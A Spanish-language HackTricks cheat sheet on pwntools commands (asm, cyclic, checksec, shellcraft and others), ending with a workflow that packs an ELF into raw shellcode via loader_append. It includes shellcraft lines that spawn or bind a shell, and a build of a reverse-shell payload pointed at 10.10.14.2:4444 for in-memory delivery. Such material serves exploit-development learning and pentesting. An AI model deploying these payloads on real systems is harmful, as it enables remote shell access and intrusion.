PwnTools
Reading time: 5 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
pip3 install pwntools
Pwn asm
Obtén opcodes desde una línea o un archivo.
pwn asm "jmp esp"
pwn asm -i <filepath>
Puede seleccionar:
- tipo de salida (raw,hex,string,elf)
- contexto de archivo de salida (16,32,64,linux,windows...)
- evitar bytes (saltos de línea, null, una lista)
- seleccionar encoder, debug, shellcode; usar gdb para ejecutar la salida
Pwn checksec
Script de Checksec
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Obtener un patrón
pwn cyclic 3000
pwn cyclic -l faad
Puede seleccionar:
- El alfabeto usado (caracteres minúsculos por defecto)
- Longitud del patrón único (por defecto 4)
- Contexto (16,32,64,linux,windows...)
- Tomar el offset (-l)
Pwn debug
Adjuntar GDB a un proceso
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Puede seleccionar:
- Por ejecutable, por nombre o por contexto de pid (16,32,64,linux,windows...)
- gdbscript para ejecutar
- sysrootpath
Pwn disablenx
Deshabilitar NX de un binario
pwn disablenx <filepath>
Pwn disasm
Disas hex opcodes
pwn disasm ffe4
Puede seleccionar:
- context (16,32,64,linux,windows...)
- dirección base
- color (por defecto)/sin color
Pwn elfdiff
Imprime las diferencias entre 2 archivos
pwn elfdiff <file1> <file2>
Pwn hex
Obtener la representación hexadecimal
pwn hex hola #Get hex of "hola" ascii
Pwn phd
Obtener hexdump
pwn phd <file>
Puede seleccionar:
- Número de bytes a mostrar
- Número de bytes por línea, byte resaltado
- Omitir bytes al principio
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Obtener shellcodes
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Puede seleccionar:
- shellcode y argumentos para el shellcode
- Archivo de salida
- formato de salida
- debug (adjuntar dbg al shellcode)
- antes (debug trap antes del código)
- después
- evitar usar opcodes (por defecto: no null y nueva línea)
- Ejecutar el shellcode
- Color/sin color
- listar syscalls
- listar shellcodes posibles
- Generar ELF como biblioteca compartida
Pwn template
Obtener una plantilla de python
pwn template
Puede seleccionar: host, port, user, pass, path and quiet
Pwn unhex
De hex a string
pwn unhex 686f6c61
Actualización de Pwn
Para actualizar pwntools
pwn update
ELF → raw shellcode packaging (loader_append)
Pwntools puede convertir un ELF independiente en un único blob de raw shellcode que mapea sus segmentos y transfiere la ejecución al entrypoint original. Esto es ideal para memory‑only loaders (p. ej., Android apps que invocan JNI para ejecutar bytes descargados).
Flujo típico (ejemplo amd64)
- Construir un payload ELF estático e independiente de la posición (se recomienda musl para portabilidad):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- Convertir ELF → shellcode con pwntools:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- Entregar sc a un memory loader (p. ej., vía HTTP[S]) y ejecutar in-process.
Notas
- loader_append incrusta el programa ELF original en el shellcode y emite un tiny loader que mmaps los segmentos y salta al entry.
- Sé explícito sobre la arquitectura usando context.clear(arch=...). arm64 es común en Android.
- Mantén el código de tu payload independiente de la posición y evita asumir nada sobre ASLR/NX del proceso.
Referencias
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.